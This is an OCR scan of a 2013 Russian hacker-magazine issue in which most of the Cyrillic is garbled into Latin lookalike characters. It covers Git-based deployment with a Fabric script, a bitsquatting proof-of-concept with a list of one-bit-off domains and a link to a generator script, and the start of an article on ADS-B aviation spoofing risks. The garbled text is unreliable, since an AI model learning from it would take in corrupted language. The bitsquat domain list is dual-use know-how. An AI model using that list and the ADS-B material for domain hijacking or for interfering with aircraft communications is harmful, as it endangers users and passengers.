PSATb NPOMUCHbIE UCTUHBI 0 TOM, YTO Tak AenaTb
Henb3s, — nopa 0pOpPMUTL UX B BUAE KOJIOHKH.
Cnepytowye peKoMeH4aLmnn, KOHEYHO, He npu-
FOAATCS TEM JIOAAM, KOTOPbIe MPOpecCroHaNbHO
1 BaBHO 3aHMMatoTcs pa3paboTkoii, Ho TeM, KTO
TONIbKO HAaYMHaeT CBOW NyTb, UX HeobxoLMMO npo-
4nTaThb 0bsizaTenbHo. [lng npumepa Bo3bMy camyio
pacnpoCTPaHEeHHY CerofiHsa CUTyaLuio — paspa-
boTKy Beb-npoekTa.

MonuTbCA Ha cUCTeMY KOHTPOIS BEPCUA.
Y7o Ha3biBaeTcs, be3 BapuanToB. Ecnvepaboyent
nanke npoekTayTebs rpyaa dpaitnosco 100500
KON 63KanoB, B KOTOPbIX Tl yXKe 1 CaM AaBHO
He MoXellb pa30bpaTbCs, TO HET APYroro nyTy,
KaK MpsiMo ceiyac HavaTb Mcnonb3osath Git (Hy
WV APYTYI0 CUCTEMY KOHTPOIS BepCHid). YTobbI
npountatbaToT Manyan (bit.ly/SMm90I) o Tom,
Kak HavaTb paboTy c Git, KOMMUTUTL U3MEHEHNS
BKO/E M peLlaTh BO3HMKLLUME KOHONNKTLI, yHAET
MUHYTTPUALATb, HO MoCe 3Toro Tebe H1Korga
He NpuUAeT B ros10By Uaes paboTaTb C UCXOLHUKAMMU
be3koHTpons Bepcuit. PaboTaellb Haf npoekToM
He oauH? ToraaTeM 60mee HyXEH efiMHbIV peno3u-
Topuiikofa. AKak eLe MOXXHO COBMECTHO paboTaTb
CUCXOAHMKaMM (a pecTaBb, KAKOBO KPYMHbIM
KOMMaHWsM, rie Haf 04HUM NPOEKTOM paboTatoT
COTHM NPOrpaMMMUCTOB), BECTM NapannenbHyo pa-
60Ty Hah pasHbIMK GrYaMu v He MeLaTb APYT ApYrY,
€C/IMHE NCMOJIb30BaTh efiMHbIV PEN03UTOPUI
Kopa? KcTaTu, ero MoXHO AepxaTby cebs, a MOXXHO
B CreumanbHoM xocTuHre. Mecau Ha GitHub (github.
com) npupeTca 3annaTUTb 3a 3aKPbIThIA PEMNo3nUTo-
puii (MHaye Bce coplibl ByayT 4OCTYNHLI Open-
source), ToHa BitBucket (www.bitbucket.com)
MOXHO UCMO/Ib30BaTh 6CNNATHO MPUYCA0BUK,
yTopaboTaThb c HUM byfeTHe bonblue NATU 03epoB.
TakuM 0bpa3oM, MOMKUMO HafLeXXHOT0 XOCTHHIa
Ko[a, Thl MOJyYaellb eLie U KNaCcCHbIA UHCTPYMEHT
CKy4er LononHUTeNbHbIX QULLEK, KOTOpble byayT
0c06€eHHO Nosie3HbI NpY KOMaHAHOM paboTe.

3abbiTb npo FTP. Bce korpa-to fenannrak:
peAaKT1poBanyv Gaiibl Ha J0KaabHOM KOMe
nnoToM3arpyxanuuxHacepsepnoFTP.Ho ge-
natbTak bonblue He Hago. Koraa Mbl roBopvM
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KOJIOHKA
CTENbI UNBUHA

PO TUTUEHY
ABOTbI C KOIOM

0Xyn0-6eAHo cepbe3HOM NPOEKTE, FA4e NOCTOSIHHO
BbIKATbIBAIOTCS KAKWNE-TO MU3MEHEeHUs, To bbICTpo
NPUXOAMTCS NepeKNoYaThCs Ha Apyrue peLle-
HUS, — W OMATb e HEe MOHUMaeLllb, KaK Thl XU
paHbLe GitunuMercurial. [lockonbky Becb Ko yxe
JIeXKUT B PENo3nNTOPUM, TO BCE, YTO HYXHO CAenatb
L)1 pa3BepTbIBaHUS KOL,a Ha HOBOM CepBepe, —3To
noakA4YNTLCA Mo SSH kenatenbHo Mo KKy, 4To-
Bbl He BBOAUTL IOMMH M Maposib) v B paboyen narnke
CKJIOHUpPOBaTb BCe hainbl U3 penosutopus (mpowye

roBOpS, CKa4aTbaKTyasbHylo Bepcuio Bcex Gansos):

$ ssh secureuser@securehost.com
$ cd public_html

$ git clone git@github.com:«
secureuser/example.com.git

[lanee, 4Tobbl HAKAaTUTb U3MEHEHWA, INEMEH-
TapHo BbinoaHATCA git pull'om (3arpysnTs Bce
o6HoBNEHNA dailfoB 13 peno3nTopus):

$ ssh secureuser@securehost.com
$ cd public_html/example.com
$ git pull origin master

M boxe ynacv Tebs 4To-TO BpPYYHYyto no-
npaBuTb Ha «boeBoM cepsepe». [lofxHa ObiTb
XenesHas cucteMma: niobble U3MeHeHUs B KOAe
LOJ/DKHbI ObITb 0093aTeNbHO 3aHECEHbI B PEMO3U-
Topwuii kKopa. ToNbKo TOrAa 3T0 UMeeT CMbICA.

YMHo pa3BepTbiBaTh. ECTECTBEHHO, MaNo KTO
KaX /bl pa3 Bpy4YHYIo NofKlo4aeTcs K cepaepy
no SSH M HakaTbiBaeT U3MeHeHMs. 3a4eM 3To
LenaTb, eCM NPOLLECC Nerko aBToMaTusunpyercsa?
B npocTeiiweM ciyyae MoXXHO caMOMy HanucaTb

{ Xalsl

Haging
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3M1eMeHTapHbIN CKPUNT, KOTOPbIN BbINONHAET
NOAKII0YeHNs, NepexoAnT B paboyyio nanky

1 BbINOJTHAET HYXKHble KoMaHabl Git'a. lonosHu-
TeNbHO, C MOMOLLbIO TEX XKE CKPUNTOB, MOTYT BbITh
HaCcTPOEeHbl U NONpaBeHbl Kakne-To KOHGUry
(HanpumMep, napameTpbl 4 focTyna k 6ase
LaHHbIX: BNPOCTeNLIEM Cyyae AoMa v Ha cepBepe
OHM pa3Hble). BipoyeM, 4Tobbl He 3aMopaynBaTh-
€51 CHACTPOKaMM CaMOMY, eCTb MOJIHO FOTOBbIX
MHCTPYMEHTOB, KOTOPbIE MO3BONAIOT 06YCTPOUTD
npouecc passepToiBaHus (nennos) 6onee rubko

1, 4T0 BaXkHee, NpocTo. MblynoMuHanu ux s FAQ'e
npowioro HoMmepa: Fabric (fabfile.org), Capistrano
(capistranorb.com), Chef (www.opscode.com/
chef]. Mpumep Takoro ckpunta Ha Fabric:

def deploy():
code_dir = '/srv/django/myproject’
with settings(warn_only=True):
if run("test -d %s" % «
code_dir).failed:
run("git clone user@-
vcshost:/path/to/repo/«
.git %s" % code_dir)
with cd(code_dir):
run("git pull")

MpenecTts B TOM, YTO NPOLEAYPY LENI0N NPU MO-
X0XeM MOAXO0LEe MOXHO fieN1aTb 04eHb BbicTpo
1 cpasy Ha MHOTWX cepBepax.

Bce 3Tu becxuTpocTHble NpueMsbl, npaBaa

B 6osiee HaBopoYeHHON GpopMe, UCMONb3YIOTCS

B 10601 TeXHONOrMYecKo KoMnaHuu. Ha ato
ecTb 6aHanbHas NpnyKHa: 370 NpocTo yaobHo. 3T

BitBucket npepgo-
cTaBnseTnpuBart-
Hble peno3nTopun
KopabecnnatHo,

ecnucHUMHK pabo-
TaeTHe Gonee naATu
& yenosek

XAKEP 01/168/2013
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« Proof-of-Concept

BUTCKBOTTUHT:
NMPOBEPKA SOOEKTUBHOCTU

4YTO 3TO TAKOE

BUTCKBOTTUHT — perncTpaums LOMEeHHbIX UMEH,
KOTOpble 0TANYATCSA Ha OAWH BUT OT OpUTUHANb-
HbIX. BUTCKBOTTWHT Mo GopMe NOXox Ha Taiin-
CKBOTTWHT, HO NPVAYMaH COBEPLUEHHO 1S fpyruX
Leneit. TaNnCcKBOTTEPbI PACCYUTLIBAKOT, YTO MOJSIb-
3oBaTesb oneyaTtaetcs npv Beoge URL nnu

He 3aMeTUT OTAIMYMS Ha OAMH CUMBOJ B CCblIKE.
BWUTCKBOTTWHT lenaeT CTaBKY Ha To, YTO Kakoe-
HUOYAb U3 NOLAKIIOYEHHbIX K MHTEPHETY yCTPOMCTB
C/ly4aiiHo OWNBETCS U U3MEHWUT OAVH HYXKHbIA 61T
B 3anpoce k DNS-cepBepy, Tak uTo Tpaduk nonget
BMECTO OPUrMHANbHOrO CaiTa K 3/10yMblLLSIEH-
HUKY.

370 MoXeT bbITb baHanbHas ownbka Kak
B cTeke TCP/IP, Tak v B namMsTv MapLipyTu3aTopa,
B bpaysepe 1 Tak fjanee, Ha n0boM 3Tane obpa-
boTku 3anpoca. Owmnbku B RAM Bo3HmKaloT 13-3a
neperpeBsa, CKaukoB HanpsxeHns, AedekTos 060-
PYLOBaHWS, AaXke KOCMUYECKOro n3nyyeHus. Ha-
npumep, aas MK ¢ 4 6 DRAM konuyecTBo owmnbok
COCTaBASEeT OT TPeX B Yac A0 Tpex B Mecal,. MoxHo
CaMOCTOSTEJIBHO MOCYNTaTh, CKOJIbKO ChboeB npo-
MCXOLMUT BO BCEX KOMMbIOTEPAX MUPa.

Hanpumep, BoT buHapHoe npeacTaBaeHne
appeca «BKonTakTe»: 01110110 01101011 00101110
01100011 01101111 01101101 (vk.com). CywecTsyert
16 anbTepHaTUBHbLIX BAPUAHTOB, KaX b/ 13 KOTO-
pbIX OTAIMYAETCS OT OPUTUHAA Ha OLUH BUT.

00110110
01101111
01100110
01101111
01111110
01101111
01110010
01101111
01110100
01101111
01110111
01101111
olllelle
01101111

01101011
01101101
01101011
01101101
01101011
01101101
01101011
01101101
01101011
01101101
01101011
01101101
00101011
01101101
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00101110 01100011

(6k.com)
00101110
(fk.com)
00101110
(~k.com)
00101110
(rk.com)
00101110
(tk.com)
00101110
(wk.com)
00101110
(v+.com)

01100011

01100011

01100011

01100011

01100011

01100011

Ha npakTuke peanbHo 3aperncTpupoBaTth
Mbl He CMOXEM HU OAWH U3 3TUX LOMEHOB, Tak
410 «BKOHTaKTe» — 0AMH U3 HEMHOTUX CalnToB
B MHTepHeTe, KOTOPbI 3aluLieH oT BUTCKBOT-
TepcKoii ataku. Yero He ckaxelub 0 microsoft.
com (72 BapuaHTa Ans 6UTCKBOTTMHra), amazon.
com (48 BapuaHTOB) 1 NpoYmx.

KTO 3TO MPUOYMAIJ

BbigBuHyn ugeto Ha koHdepeHuun Black Hat
B asrycte 2011 roga xakep Aptem InHabypr
(Artem Dinaburg).

ABTop 06BACHSAET, 4TO A/1F TAKOT0O TUMa aTaku
HYXHO Bbl6rpaTb oMeHbl CDN v peknaMHbix
ceTel, KOHTEHT C KOTOPbIX MOATPYXaeTcs Ha Tbl-
CAYM MONYNAPHBIX CAUTOB. ITO TaKUe LLOMEHbI,
kak fbcdn.net, 2mdn.net n akamai.com. [1ns npo-
BepKu cBoeli Teopun InHabypr 3apeructpupo-
Bas 32 LoMeHa MeToA0M BUTCKBOTTUHIA, B TOM
yucne foMeHbl CDN 1 peknaMHbix ceTeir. Cnucok
afpecoB, KOTOpbIe MPUHUMANK yyacTue B aKcne-
pumeHTe: ikamai.net, aeazon.com, a-azon.com,
amazgn.com, microsmft.com, micrgsoft.com,
miarosoft.com, iicrosoft.com, microsnft.com,
mhcrosoft.com, eicrosoft.com, mic2osoft.com,
micro3oft.com, libe.com, Omdn.net, 2-dn.net,
2edn.net, 2ldn.net, 2mfn.net, 2mlin.net, 2odn.net,
6mdn.net, fbbdn.net, fbgdn.net, gbcdn.net, fjcdn.

net, dbcdn.net, roop-servers.net, doublechick.
net, dobbleclick.net.

PE3YJIBTAT 3KCNEPUMEHTA
JkcnepuMeHT [JnHabypra nokasbiBaeT, 4TO CMbIC
ecTb. K canTam gecTBUTENbHO NOCTYNanu
DNS-3anpocbl 1 HTTP-3anpockl M nogkao4anucs
CTOPOHHWME YCTPOMCTBA. 32 CEMb C MOJIOBUHON Me-
csiLeB ¢ ceHTs6ps 2010 roga no anpens 2011 roga
nocTynuno B obuein cnoxHocTn 52 317 3anpocos
¢ 12 949 yHnkanbHbiMK IP-agpecamu. Ecan He cum-
TaTb TPeX NCKYCCTBEHHbIX BCMIECKOB TpaduKa,
TO B CPeiHEM 3anpochl WK ¢ 59 yHNKaNbHbIX
IP-afpecoB B ieHb.

ApTeM [InHabypr fo cux nop npogonxaet
aHanu3upoBaThb fiaHHble 1 NybanKyeT cBexue
pesynbTaThl B 6nore dinaburg.org. HefaBHo
OH BbINIOXWN 3anuck Bcex naketos (PCAP), no-
CTYNMBLUMX B X0fe 3KcnepuMeHTa: dinaburg.org/
data/dnslogs.tar.7z. TaM ecTb 1 aBTOMaTUYECKM
CreHepMpoBaHHble Kpalu-penopTbl C HENpaBWb-
HbIM brTOM B agpece, n 3anpocsl Windows Update.
3TU NpUMepbl NOKa3blBatoOT, 4TO NPUYMHOW Obiu
LeiiCTBUTENbHO 0WNOKM B bKTax, a He Hempa-
BUJIbHO BBEJE€HHbI Bpy4Hyio URL.

B kayecTBe 6oHyca — ckpunT Ha Python
ANs reHepayun UTCKBOTTEPCKUX JOMEHOB:
dinaburg.org/data/bitsquat.py. 3
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BrogauMia TpadHK [YHLNo sanpoton)
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Bxogawmi TpaduK, Bel MokameHHA
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KonuyecTBo 3anpocoB, NocTyNMUBLLKX Ha 32 loMeHa,
3aperncTpuMpoBaHHbIX METOAO0M GUTCKBOTTHUHIa BO BpeMs
IKcnepuMeHTa ¢ ceHTabpsa 2010-ro no anpens 2011 roga

KonnyecTBo yHuKanbHbix IP-agpecos, ¢ KOTopbIX nocTynanu
3anpocbl, 6e3 yyeTa Tpex MCKYCCTBEHHbIX BCMIECKOB
Tpaduka
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KAK HESALLMLLEHHOCTDb HOBbIX
CPEACTB KOMMYHUKALIUA
B ABUALUU MOXKET NMPUBECTU
K KATACTPOO®E

[paxAaHCcKas aBMaLMs MoCTENEHHO 0TKa3biBaeTCs 0T TPALULMOHHbIX
pajapHbIX CUCTEM B Nosb3y bonee coBpeMeHHbIX LMbPOBbIX MHCTPYMEHTOB
cBsi3u. MpobneMa B TOM, 4TO HOBbIE TEXHONOIMU NOTEHLMANBHO MO3BONSAOT
3/10yMbILUSIEHHWKAM BCTPEBATb MEXAY MUI0TOM U LUCNETYEPOM, CTaBs Nog,

yAap COTHM M ThICAYM XM3HeW naccaXunpob. M1 370 BO3MOXHO yxe ceityac.

XAKEP 01/168/2013




CnyduHr B BO3aYyXE

CLIEHAPUW HE 13 ®1JIbMA

Mpenctasb cebe kapTuHy. Peiic ADSB1090 netut B HOYM, yBEPEHHO
ABWrascb Mo 3aaHHOMY HanpasieHuto. [TunoT 1 ancneTyep BUAAT
cnokomnHoe Hebo be3 Tpaduka. Kypc HacTpoeH, camMoneT Ha aBTonuoTe.
HuyTo He npepfBelaeT befbl. Bapyr Ha akpaHax aucneTyepa nosiBRsoTCS
[EeCATKN CaMof1eToB, U3 HUOTKY/AA MonaBLUKe Ha 3KpaHbl pafapa, ClIoBHO
npusmaenus. flucneTyep B NaHWKe — Befib Ha €ro NOJETHOM JINCTE Tosb-
Ko ofuH peiic, ADSB1090. MunoT HabntoaaeT Ty e KapTUHY Ha CBOEM
pafiape, xoTd Yepe3 bopToBoe 0kHO Hebo YncToe, Kak 1 paHblue. CMaTe-
HUWe 3aKpafblBaeTCs B Aylun NuaoToB. BHe3anHo aBToNMIO0T HaynHaeT
MaHeBpbl, 4Tobbl N36exaTb NoTeHUanbHoro cTonkHoBeHus. C gpyroro
KOHLIA CBAA3U AMCneTyep JaeT COBCEM NPOTUBOMONOXKHbIE YKa3aHUs.
BpeMeHw Ha pa3MblLLiieHne HeT HU Y MUA0Ta, HU Y AUCTIETYepa, HW Y aBTo-
nuioTa... Tak e Kak HeT BpeMeHW AJ1s BbIBOAA CaMoJieTa 13 aBTonuioTa
1 N3 pUCKOBaHHOro MaHeBpa. KpylieHune u kaTacTpoda...

/1 3T0 coBCeM He cLieHapuit Ansg o4epefHOro naTpuoTuyeckoro boesu-
ka no kHure Toma KneHcu. Bce 3To MoxeT okasaTbcst BosHe 0bblAeHHOM
peanbHOCTbi0 B CKOPOM byayLieM, npuyeM BbirnsafeTs byaeT fo npepena
npocro. Mpefcrasb cebe KoMMblOTep, 33 KOTOPLIM MOJIOAast AeBYLIKa (KO-
HeuHo e, [Kou ¢ KopoTKoW CTpyKoi) HabroaaeT B CBOeil KOHCOMU:
«Plug-n-play hardware... Build code... Click-n-attack... PWN... Target
down... Mission completed».

Crano He no cebe? Kak Takoe BO3MOXHO? ABTOp 3ToM cTaTblt — AH-
npen KocTH — npoBoLMT UCCNefoBaHWs 6€30MacHOCTY aBUaLLMOHHbIX
TexHonornit. U cerofHs paccMoTput bonee aetanbHo, kak paboTaioT
CUCTEMBI YNPaBeHNs BO3AYLIHbIMY NOTOKaMU CTAaporo v HOBOTO M0-
KONeHUS, a TakxKe NPeACcTaBNUT HallieHHbIe BO BpPeMs ero NcciefjoBaHns
YS3BUMOCTN U Hanbonee cepbe3Hble PUCKM, CBA3aHHbIE C HUMU. MoMeHT
L)1 TOro, 4Tobbl HaYaTb TaKoW pa3roBop, BbibpaH ToXe HecnyyalHo.
ABMaTEXHONOrMW HaXOAATCS Ha FpaHuLLe HOBOTO TEXHUYECKOro NpopbIBa,
1 TaK, KaK 3T0 YXKe CNy4insoch co cMapTHOHaMM 1 CETIMU MobUITbHO
cBa3u npumepHo 5-10 neT Ha3af, HOBble TEXHONIOTU MPUBOAST K HOBbIM
npobnemam. Ha atoT pa3 — kyfa 6onee onacHbIM.

MPUHUWMNBI PABOTHI PAOAPOB
BO3YLUHOI O MOTOKA
Panapsl (Mnu pagnonokaTopsl) Bnepsslie nossunuck 8 1940-x rogax

B BOEHHOMW oTpacnu. B nepByto ovepenb OHW pa3pabaTbiBanuch UMEHHO

L1 HYXX[, aBraLmm u Mopckoro ¢rota. [MpumeHeHne cuctem Ha base

VIMMNYNIbCHO paavonepesayy no3Bonssio onpesensTb NpucyTcTBue

B BO3/yXe UM Ha MOpEe KOHKPETHbIX GpU3MYecKNX 00bEKTOB, a TakxKe

paccTosiHue 40 ABUXKYLLUXCSH 06BEKTOB U BO3AYLUHbIN/MOPCKOI CEKTOp

X MEeCTOHaXOXZAeHus. 3Ta MHGOpPMaLMs NOTOM MO MCNOb30BaTLCS

LJ15 HaBefeHNs OPYANIA UKN paKeT.

Ha faHHbI MOMEHT ANa Leneil Bo3gyLwHoro HabogeHns v ynpasne-

HUS BO3[YLUHbIMM MOTOKaMW CYLLECTBYIOT ABa TUMa pafapos:

* nepBUYHble papapbl HabnioaeHus [MPH, Primary Surveillance Radars
unu PSR) npeacrasnsiot coboi pagyosnokaTopl, KOTOpbIE ONpesensiioT
NPUCYTCTBME BO3AYLLHbIX CYA0B Npy Bo3BpaTe IM-BOSH B pe3ynbraTe
0TPaXeHWs 0T BO3AYLIHOT0 06beKTa;

e BTOpPMYHble pajapbl HabnopeHus (BPH, Secondary Surveillance

Radars unu SSR) wrpoko ncronb3yoTcs Ha CerofHAWHUIA feHb

A5 MapKUPOBKM U OTCNEXXUBAHWSA CYA0B 1 MapLupyTos. Pagap

Tuna BPH onpepnenset n nogcuutbiBaeT npuMepHoe (Ho BecbMa

TOYHOE) MECTOHAX0XAEHME BO3AYLUHbIX CY0B MPU NOMOLLM aKTUB-

HOVl pafuoneneHraLmm Ha faHHoe BO3fyLLIHOe CYHO, Ha KOTOPOM

BCerja yCTaHoBIeH TpaHcnoHaep. TpaHcnoHaepsl (transponder uiam

transmitter-responder) npegcTaenaioT coboi ycTpoiicTea TvNa nepe-

[aTuMK-0TBETYMK, KOTOPbIE MPUHMMAIOT PAAUONENEHT 0T CTaHLMUK

KOHTPOJIS BO3/LLUHOr0 NPOCTPAHCTBA 1 0TBEYAIOT Ha HUX COOTBETCTBY-

foLLMMM NapaMeTpami.

0b6a Tvna pafapoB UMeloT pag HefocTaTkos. Bo-nepBbix, 370 Mopasb-
HO yCTapeBLUas TEXHONOrMsl, KOTOpast XopoLLo noka3sana cebs 3a 50 net
paboTbl, HO KOTOPas yXKe He BMUCLIBAETCS B HOBble TEXHONOTNYeCKNe
paMku v TpeboBaHus. Bo-BTOpbIX, NPOM3BOACTBO U NOAAEPKKA NO[OOHBIX
papapos ctosT B 10-20 pa3 bonblue, YeM obopynoBaHue, 0CHOBaHHOe
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06 ABTOPE UCCJIEAOBAHUA

AHppeii Ha faHHbI MOMEHT XMBET Bo ®paHLUM 1 NULLET OKTOPCKYHO
paboty B uHcTUTyTe EURECOM no TemMe 6e3onacHocTv BCTpanBaeMbIx
yCTpoicTB. MHOTME 0 HEM He CAibILany, 1 3To faxe xopolwo :). Ho HekoTo-
pble ntoay 3HatoT ero nnbo kak asTopa MFCUK (yTunuTel no B3nambiBaHmio
kntoven k 500 Munnnonam RFID-kapt MiFare Classic, ucnonb3yembix
noyTH Be3Aie — OT METPO M aBTOBYCOB [0 BXOJ,0B B Pa3HOI0 POfia «MH-
TepecHble» 06beKTbl), Nnbo kak MucTepa MNpuHTep M3-3a ero LOKNAA0B
110 YSI3BUMOCTSIM M 3KCMJIOMTaLLMN NPUHTEPOB.

MHoruve npeagnonaratoT, 4To CNOHCUPOBANM 3TO UCCNef0BaHMe M6
BOEHHbIe, TM60 TpexbyKBeHHbIe «CTpaxoBble» areHTCTBa. Kak 3To yacTo
6biBaeT, cpaboTana KoMbMHaLMA N0HONLITCTBA M CKYKM Ha NPeAbIAYLLNX
mecTax pabotsl (Angpen pabotan sgo EURECOM coBceM He B cdepe KOM-
nblOTepHOI 6e30nacHoCTH, XOTS YBNEKaCs e10), a 0Ha Bceraa nonyyaercs
Maruyeckoi :). lpounTan HoBOCTb, NpocMoTpen hopyMbl, AONTO NPUFAs-
AbIBasnCs K ycTporcTay no npuemy (torga sce cromnm ot 350 eBpo, a DVB-T
noHrn rtl-sdr3a 25 eBpo, KOTOpbI1 MOXXHO NepenpoLmnTh, bbl eLe «He
HanaeH»). MoToM nogapun cam cebe Habop NPaBUAbHBIX UFPYLLEK, HY
v nowno-noexano:), 6naro USRP1 yxe umencs ot npeabiayiwmx RFID-

1 GSM-akcnepuMMeHToB.

P.S. BbiBaeT, cnpaluuBatoT, NO3TOMY OTBEUY BCEM: YBbl, HET, fl HE TOT
Anppeii KocTuH, 1 He ynpaBnsio BTB u He gpyxy ¢ Bnagumupom. U paxe
He POACTBEHHUK :).

Ha HOBLIX TeXHOMOrMsX. B-TpeTbnx, TOYHOCTL 0OHapYXeHUs BO3AYLIHOMO
cynHa (panee — BC) yxe He cooTBeTCTBYeT Tpeb0oBaHUAM 1 CTaHZapTaM
be3onacHoCTU 1 3GPEKTUBHOCTI BO3AYLLIHOO ABVXKEHUS, @ BHEAPEHMWE
cucteM reosiokaumn Tuna GPS/TJIOHACC s MPH/BPH nubo HeBo3MoxHa,
nnbo oYeHb 3aTpaTHa, b0 NPoCTo He MMeeT cMbicna. o 3TuM 1 no psgy
npyrux npuynk B 2002 rogy ctaptoBana rnobansHas nporpaMMa no pas-
paboTke M NPOLBUKEHNIO HOBbIX BO3LYLUHbIX TEXHONIOTUI, KOTOPbIE
no/kHbI K 2020 rofly NofIHOCTbIO 3aMEHUTB CTapble CUCTEMbI BO3YLL-
HOro HabniofeHUs. YacTb 3TOM HOBO TEXHONOTNYECKON NNaTPOpPMBbI,
oTBEYaloLLas 3a HablAeHNe 3a BO3AYLWHbLIM MOTOKOM, Ha3blBaeTCs
ADS-B — pnisi Hac B paMKax CerofjHsLLIHEeN TeMbl 3Ta TEXHONOTUS ABASET-
€S KN0YEBOW.

4YTO TAKOE ADS-B 1 3A4EM OHA HY)XXHA

ADS-B — 370 akpoHum oT Automatic Dependent Surveillance —

Broadcast. Bonee getansHo ADS-B paclundpoBsbiBaeTcs Kak:

e Automatic/aBTomMaTyeckoe — paboTaeT aBTOMaTUYECKH 1 He TpebyeT
BMelLaTeNbCTBa onepaTopa;

¢ Dependent/3aBucumoe — 3asucut ot cuctembl GPS/TIOHACC;

e Surveillance/HabniogeHnne — obecneunsaeT HabloaeHe 3a camone-
TOM;

¢ Broadcast/pagnoBelsaniie — WnpoKoBeLaTebHas HenpepbiBHas
PaAVOTPaHCAALMUSA AaHHbIX BCEM NPUHMMAIOLLAM Ha AaHHO pafmnoya-
CTOTE NPUEMHUKAM.

[naBHbIM NyHKTOM Npy pa3paboTke ADS-B sBnsieTcs BO3MOXHOCTb
«BWAETb» C HabobLIEN TOYHOCTbIO IBUXKEHME BO3AYLLIHbIX CYLOB bnaro-
Japs cucteMam nosuymonuposanus GPS/TTIOHACC. B pesynbtate Gonee
TOYHOrO NO3ULMOHNPOBAHUS BO3AYLIHbIX CYAO0B YAAETCS LOCTUYb MOBbI-
LeHHoW be3onacHocTu nonetos, bosee KOMNAKTHOTO U 3GdeKTUBHOrO
MCMONb30BaHNS BO3AYLIHOr0 NPOCTPAHCTBA.

Jlyqwmit cnocob noHsTh, 4TO NpeAcTaBasieT coboi TexHoNoruns, —
oTKpbITh caiT Flightradar24 (www.flightradar24.com), roe 8 peanbHoM
BPEMEHM Ha KapTe 0ToOpa)atTcs NepeMeLleHNs OrpOMHOro Kosinye-
CTBa CaMoJsIeToB — pajap aBMajncrneTyepa, Hoy Kaxgoro goma. Ecim
3HaTb, YTO MaMa NpsMo ceiyac netTuT u3 XeHesbl B MockBy perncom
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YETbIPE CYAbBOHOCHbIE LLU®PbI

Mapy cnos o TpaHcnoHaepax 1 napametpax BPH/SSR. 310 kogpl ot 0000
Ao 7777 B BocbMepu4HoW cucTeMe cymcieHns. OHM npuMeHsioTcs
rnaBHbIM 06pa3oM Ansa AByx Leneit. HuxHWit ananasoH ncnonb3yetcs
ANS YHUKanbHOro 0603HavYeHns U MAEHTUUKALIMM CaMONIETOB B CTapbIX
papapHbIX cucTeMax. YacTb BepXHero uanasoHa — 370 AUCKPETHbIE
KOAbl, M OHW 0603HaYaloT COCTOSIHWE BO3AYLLHOTO CyAHa. Hanpumep, nunot
MOXKET CO0BLUMTL 0 3aXBaTe CyiHa NyTeM NepeAayu TPaHCMOHAEPHOTO
kopa 7500. Hemano cnyyaeB, Koraa Bbi3biBasMCb aHTUTEPPOPUCTUYECKME
Ha3eMHble npoLiefypbl M3-3a FynbiX OWM60K NN HenpaBUIbHOTo 06-
paLLeHuUs MUI0TOB C TEXHUKOM.

lMakeT c TaKMMM TPAHCMOHAEPHBIMU KOJLAMMU W LaHHBIMU MOXET BbI-
rnsaeTb NPUMepHO Tak:

[NoPos]:

ADS: A18149 REG: N1963U FLT: ALT: 900 RCT: 2012-10-18
22:25:35 TYP: C172 SQK: 7600

[ 16/18/2012 @ 3:26:23 PM ]

Kopbi 7500, 7600, 7700 nocbinatoTcs caMoneTaMu B Ciyyae 3axBaTa
camoreTa unu gpyrux yrpos Ha 6opty, a kog 7777 uMeeT cneumanbHbli
CTaTyC, M TPAHCNIMPOBAaTb €r0 HEBOEHHbIM CyAiaM KaTeropuyeckm sanpe-
LeHo. [To3ToMy, XOTS HUYTO He MeLLaeT 3/10yMbILLLIeHHUKY NepeaaThb Takue
AaHHble, Npeaynpexaat — 3T0 NPOTMBO3aKOHHO.

SU2383, To c onpefieIeHHON BEPOSTHOCTBIO MOXKHO MOCMOTPETb, FAe
HaxofMTCS CaMOJIeT, Ha KakKo BbICOTE W C KaKOW CKOPOCTbIo Nepe-
MelaeTcs. B ocHoBe cepBuca Kak pas nexut TexHonorus ADS-B,
HO OTKY/,a OHa NOJYYaeT faHHbIe, Mbl PACCKaXeM YyTb No3xe. [NaBHoe
cefyac — YSACHWTb, YTO BCE, KTO NMPUYACTEH K BO3AYLIHOMY AABUXE-
HUto, Bnarofaps 3Toii TEXHOMOTMM CTaW ropasfo Nyylle NOHUMATB,
4TO NPOUCXOAMT B Bo3ayxe. TyT Hafo f06aBuTh, 4To cuctema ADS-B
TaKXXe MOXeT NnepefaBaTb NMUJI0TaM B PeXKMMe peasibHoro BpPEMEHM
nHpopmauuio o noroge (FIS-B) v gononHutensHyo uidopMaumio o Bos-
aywHoM aeuxeHuu (TIS-B), 4To no3BonsieT 3HaYUTENBHO PacLUMPUTD
0CBE[JOMJIEHHOCTb 0 CUTYaLMK 1 NOBbICUTb He30nacHoCTb NONEeTOB.
HecmoTpsi HaTo yTo ADS-B npepctaBnseT coboli cpaBHUTENBHO
HOBYIO TEXHOJIOTMI0, OHA Y)Ke ABNSETCS A0BOJIbHO aKTUBHOM YaCTbio
BCEMUPHON CUCTEMbI KOHTPOJIS M yNPaBeHNs BO3AYLLHBIM IBVKEHN -
eM W B NepcnekT1Be A0MKHA NOJHOCTbI0 3aMEHUTb CTapble pafiapHble
cuctemsl Tuna NMPH/BPH.

MPUHLWIBI PABOTbI ADS-B

Mo cytn, ADS-B — 370 TexHonoruyeckoe peLlueHne, KoTopoe cnocobHo
aBTOMATMYeCKM OMpeaensiTb TOUHbIE KOOPAWNHATLI BO3AYLLIHOTO CyAHA
11 3aTeM TPAHCINPOBATb MX B GNP BMECTE C APYrUMU AaHHbBIMM O Nose-
Te — Kak B Ha3eMHble LieHTPbI AuCneTyepaM, Tak 1 Apyrium camoneTam.

[lns onpepenerns ToUHbIX KOOPAMHAT 06bEKTa MCNONb3YeTCs Npu-
eMHnk GPS/TJTOHACC. OctanbHble gaHHble — Tvn BC, cKopocTb, HoMep
BC, peiic, kypc, BepTuKanbHas CKOpoCTb — CobupatoTcs ¢ 60pToBbIX
CEHCOPOB 1 NpubopoB, TaKMX Kak cuctema ynpaenenus nonetom (Flight
Management System — FMS), uxepumarnbHas cuctema otcyera (Inertial
Reference System — IRS), HaBuraunoHHas cuctema onpegeneHus
Kypca M yrioBoro npocTpaHcTBeHHOro nonoxenus (Attitude and Heading
Reference System — AHRS) 1 cuctema Bo3ayLHbIX AaHHbIX (Air Data
Systems — ADS), KOMBUHMpYIOTCS 1 3aTeM NnepeaatoTcs Mo KaHanam
ADS-B npuMepHo pas B cekyHay.

3Ta uHPopMaLms nepenaeTcs n1bo Yepes MOAMGULMPOBAHHBIA
TpaHcrnoHaep pexuma C ADS-B, Tak Ha3biBaeMblit ModeS 1090ES, Bewwa-
fowwnii Ha yactote 1090 My, nnbo yepes yHMBepcanbHbI NpMeMooTBeT-
